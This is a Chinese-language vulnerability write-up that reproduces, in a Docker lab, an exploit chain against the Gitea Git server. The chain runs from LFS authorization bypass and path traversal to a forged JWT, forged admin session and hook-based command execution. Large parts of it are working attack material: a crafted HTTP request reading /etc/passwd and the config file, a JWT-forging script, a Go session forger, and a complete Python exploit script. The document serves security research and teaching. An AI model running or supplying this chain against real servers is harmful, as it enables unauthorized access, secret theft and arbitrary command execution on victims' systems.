作者:
@周佩雨
[ Phith0n,現就職於長亭科技,長期關注並筆耕於安全編碼、程式碼稽核等方向]
這是一個非常漂亮的漏洞鏈,很久沒見過了。我用docker來複現並學習這個漏洞,官方提供了docker鏡像,vulhub也會上線這個環境。
漏洞一、邏輯錯誤導致許可權繞過
在modules/lfs/server.go檔案中,PostHandler是POST請求的處理函數:
可見,其中間部分包含對許可權的檢查:
if !authenticate(ctx, repository, rv.Authorization, true) {
requireAuth(ctx)
}
在沒有許可權的情况下,僅執行了requireAuth函數:這個函數做了兩件事,一是寫入WWW-Authenticate頭,二是設定狀態碼為401。也就是說,在沒有許可權的情况下,並沒有停止執行PostHandler函數。所以,這裡存在一處許可權繞過漏洞。
漏洞二、目錄穿越漏洞
這個許可權繞過漏洞導致的後果是,未授權的任意用戶都可以為某個項目(後面都以vulhub/repo為例)創建一個Git LFS對象。
這個LFS對象可以通過http://example.com/vulhub/repo.git/info/lfs/objects/[oid]這樣的介面來訪問,比如下載、寫入內容等。其中[oid]是LFS對象的ID,通常來說是一個雜湊,但gitea中並沒有限制這個ID允許包含的字元,這也是導致第二個漏洞的根本原因。
我們利用第一個漏洞,先發送一個數据包,創建一個Oid為……/../../etc/passwd的LFS對象:
POST /vulhub/repo.git/info/lfs/objects HTTP/1.1
Host: your-ip:3000Accept-Encoding: gzip, deflate
Accept: application/vnd.git-lfs+json
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64;
Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 151
{
"Oid": "....../../../etc/passwd",
"Size": 1000000,
"User" : "a",
"Password" : "a",
"Repo" : "a",
"Authorization" : "a"
}
其中,vulhub/repo是一個公開的項目。
見下圖,發送數据包後,雖然返回了401狀態碼,但實際上這個LFS對象已經創建成功,且其Oid為……/../../etc/passwd。
第二步,就是訪問這個對象。訪問方法就是GET請求http://example.com/vulhub/repo.git/info/lfs/objects/[oid]/sth,oid就是剛才指定的,這裡要用url編碼一下。
那麼,我們來看看為什麼讀取到了/etc/passwd檔案。
程式碼modules/lfs/content_store.go:
可見,meta.Oid被傳入transformKey函數,這個函數裏,將Oid轉換成了key[0:2]/key[2:4]/key[4:]這樣的形式,前兩個、中間兩個字元做為目錄名,第四個字元以後的內容作為檔名。
那麼,我創建的Oid為……/../../etc/passwd,在經過transformKey函數後就變成了../../../../../etc/passwd,s.BasePath是LFS對象的基礎目錄,二者拼接後自然就讀取到了/etc/passwd檔案。
這就是第二個漏洞:目錄穿越。
漏洞三、讀取設定檔,構造JWT密文
vulhub/repo雖然是一個公開項目,但默認只有讀許可權。我們需要進一步利用。
我們利用目錄穿越漏洞,可以讀取到gitea的設定檔。這個檔在$GITEA_CUSTOM/conf/app.ini,$GITEA_CUSTOM是gitea的根目錄,默認是/var/lib/gitea/,在vulhub裏是/data/gitea。
所以,要從LFS的目錄跨越到$GITEA_CUSTOM/conf/app.ini,需要構造出的Oid是….gitea/conf/app.ini(經過轉換後就變成了/data/gitea/lfs/../../gitea/conf/app.ini,也就是/data/gitea/conf/app.ini。原漏洞作者給出的POC這一塊是有坑的,這個Oid需要根據不同$GITEA_CUSTOM的設定進行調整。)
成功讀取到設定檔(仍需先發送POST包創建Oid為….gitea/conf/app.ini的LFS對象):
設定檔中有很多敏感資訊,如資料庫帳號密碼、一些Token等。如果是sqlite資料庫,我們甚至能直接下載之。當然,密碼加了salt。
Gitea中,LFS的介面是使用JWT認證,其加密金鑰就是設定檔中的LFS_JWT_SECRET。所以,這裡我們就可以用來構造JWT認證,進而獲取LFS完整的讀寫許可權。
我們用python來生成密文:
import jwt
import time
import base64
def decode_base64(data):
missing_padding = len(data) % 4
if missing_padding != 0:
data += '='* (4 - missing_padding)
return base64.urlsafe_b64decode(data)
jwt_secret = decode_base64('oUsPAAkeic6HaBMHPiTVHxTeCrEDc29sL6f0JuVp73c')
public_user_id = 1
public_repo_id = 1
nbf = int(time.time())-(60*60*24*1000)
exp = int(time.time())+(60*60*24*1000)
token = jwt.encode({'user': public_user_id, 'repo': public_repo_id, 'op': 'upload', 'exp': exp, 'nbf': nbf}, jwt_secret, algorithm='HS256')
token = token.decode()
print(token)
其中,jwt_secret是第二個漏洞中讀取到的金鑰;public_user_id是項目所有者的id,public_repo_id是項目id,這個項目指LFS所在的項目;nbf是指這個密文的開始時間,exp是這個密文的結束時間,只有當前時間處於這兩個值中時,這個密文才有效。
漏洞四、利用條件競爭,寫入任意檔案
現在,我們能構造JWT的密文,即可訪問LFS中的寫入檔案介面,也就是PutHandler。PUT操作主要是如下程式碼:
整個過程整理如下:
- transformKey(meta.Oid)+ .tmp尾碼作為臨時檔名
- 如果目錄不存在,則創建目錄
- 將用戶傳入的內容寫入暫存檔案
- 如果文件大小和meta.Size不一致,則返回錯誤(meta.size是第一步中創建LFS時傳入的Size參數)
- 如果檔案雜湊和meta.Oid不一致,則返回錯誤
- 將暫存檔案重命名為真正的檔名
因為我們需要寫入任意檔案,所以Oid一定是能够穿越到其他目錄的一個惡意字串,而一個檔案的雜湊(sha256)卻只是一個HEX字串。所以上面的第5步,一定會失敗導致退出,所以不可能執行到第6步。也就是說,我們只能寫入一個尾碼是“.tmp”的暫存檔案。另外,作者用到了defer os.Remove(tmpPath)這個語法。在go語言中,defer代表函數返回時執行的操作,也就是說,不管函數是否返回錯誤,結束時都會删除暫存檔案。
所以,我們需要解决的是兩個問題:
- 能够寫入一個.tmp為尾碼的檔案,怎麼利用?
- 如何讓這個檔在利用成功之前不被删除?
我們先思考第二個問題。漏洞發現者給出的方法是,利用條件競爭。
因為gitea中是用流式方法來讀取數据包,並將讀取到的內容寫入暫存檔案,那麼我們可以用流式HTTP方法,傳入我們需要寫入的檔案內容,然後掛起HTTP連接。這時候,後端會一直等待我傳剩下的字元,在這個時間差內,Put函數是等待在io.Copy那個步驟的,當然也就不會删除暫存檔案了。
那麼,思考第一個問題,.tmp為尾碼的暫存檔案,我們能做什麼?
漏洞五、偽造session提升許可權
這裡面有幾個很重要的點:
- session檔名為sid[0]/sid[1]/sid
- 對象被用Gob序列化後存入檔案
Gob是Go語言獨有的序列化方法。我們可以編寫一段Go語言程式,來生成一段Gob編碼的session:
package
main
import (
"fmt"
"encoding/gob"
"bytes"
"encoding/hex"
)
func EncodeGob(obj map[interface{}]interface{}) ([]byte, error) {
for _, v := range obj {
gob.Register(v)
}
buf := bytes.NewBuffer(nil)
err := gob.NewEncoder(buf).Encode(obj)
return buf.Bytes(), err
}
func main() {
var uid int64 = 1
obj := map[interface{}]interface{} {"_old_uid": "1", "uid": uid, "uname": "vulhub" }
data, err := EncodeGob(obj)
if err != nil {
fmt.Println(err)
}
edata := hex.EncodeToString(data)
fmt.Println(edata)
}
其中,{“_old_iod”:“1”,“uid”:uid,“uname”:“vulhub”}就是session中的數據,uid是管理員id,uname是管理員用戶名。編譯並執行上述程式碼,得到一串hex,就是偽造的數據。
接著,我寫了一個簡單的Python腳本來進行後續利用(需要Python3.6):
import
requests
import jwt
import time
import base64
import logging
import sys
import json
from urllib.parse import quote
logging.basicConfig(stream=sys.stdout, level=logging.DEBUG)
BASE_URL = 'http://your-ip:3000/vulhub/repo'
JWT_SECRET = 'AzDE6jvaOhh_u30cmkbEqmOdl8h34zOyxfqcieuAu9Y'
USER_ID = 1
REPO_ID = 1
SESSION_ID = '11vulhub'
SESSION_DATA = bytes.fromhex('0eff81040102ff82000110011000005cff82000306737472696e670c0a00085f6f6c645f75696406737472696e670c0300013106737472696e670c05000375696405696e7436340402000206737472696e670c070005756e616d6506737472696e670c08000676756c687562')
def generate_token():
def decode_base64(data):
missing_padding = len(data) % 4
if missing_padding != 0:
data += '='* (4 - missing_padding)
return base64.urlsafe_b64decode(data)
nbf = int(time.time())-(60*60*24*1000)
exp = int(time.time())+(60*60*24*1000)
token = jwt.encode({'user': USER_ID, 'repo': REPO_ID, 'op': 'upload', 'exp': exp, 'nbf': nbf}, decode_base64(JWT_SECRET), algorithm='HS256')
return token.decode()
def gen_data():
yield SESSION_DATA
time.sleep(300)
yield b''
OID = f'....gitea/sessions/{SESSION_ID[0]}/{SESSION_ID[1]}/{SESSION_ID}'
response = requests.post(f'{BASE_URL}.git/info/lfs/objects', headers={
'Accept': 'application/vnd.git-lfs+json'
}, json={
"Oid": OID,
"Size": 100000,
"User" : "a",
"Password" : "a",
"Repo" : "a",
"Authorization" : "a"
})
logging.info(response.text)
response = requests.put(f"{BASE_URL}.git/info/lfs/objects/{quote(OID,
safe='')}", data=gen_data(), headers={
'Accept': 'application/vnd.git-lfs',
'Content-Type': 'application/vnd.git-lfs',
'Authorization': f'Bearer {generate_token()}'
})
這個腳本會將偽造的SESSION數據發送,並等待300秒後才關閉連接。在這300秒中,服務器上將存在一個名為“11vulhub.tmp”的檔案,這也是session id。帶上這個session id,即可提升為管理員。
漏洞六、利用HOOK執行任意命令
帶上i_like_gitea=11vulhub.tmp這個Cookie,我們即可訪問管理員帳戶。
然後隨便找個項目,在設定中配寘Git鉤子。Git鉤子是執行git命令的時候,會被自動執行的一段腳本。比如我這裡用的pre-receive鉤子,就是在commit之前會執行的腳本。我在其中加入待執行的命令touch /tmp/success:
然後在網頁端新建一個檔案,點提交。進入docker容器,可見命令被成功執行:
一些思考
整個漏洞鏈非常流暢,Go Web端的程式碼稽核也非常少見,在傳統漏洞越來越少的情况下,這些好思路將給安全研究者帶來很多不一樣的突破。不過漏洞作者給出的POC實在是比較爛,基本離開了他自己的環境就不能用了,而且我也不建議用一鍵化的漏洞利用腳本來複現這個漏洞,原因是這個漏洞的利用涉及到一些不確定量,比如:
- gitea的$GITEA_CUSTOM,這個值影響到讀取app.ini的那段POC
- 管理員的用戶名和ID,這個可能需要猜。但其實我們也沒必要必須偽造管理員的session,我們可以偽造任意一個用戶的session,然後進入網站後再找找看看有沒有管理員所創建的項目,如果有的話,就可以得知管理員的用戶名了。
另外,複現漏洞的時候也遇到過一些坑,比如gitea第一次安裝好,如果不重啓的話,他的session是存儲在記憶體裏的。只有第一次重啟後,才會使用檔案session,這一點需要注意。如果目標系統使用的是sqlite做資料庫,我們可以直接下載其資料庫,並拿到他的密碼雜湊和另一個隨機字串,利用這兩個值其實能直接偽造管理員的cookie(名為gitea_incredible),這一點我就不寫了,大家可以自己查看檔案。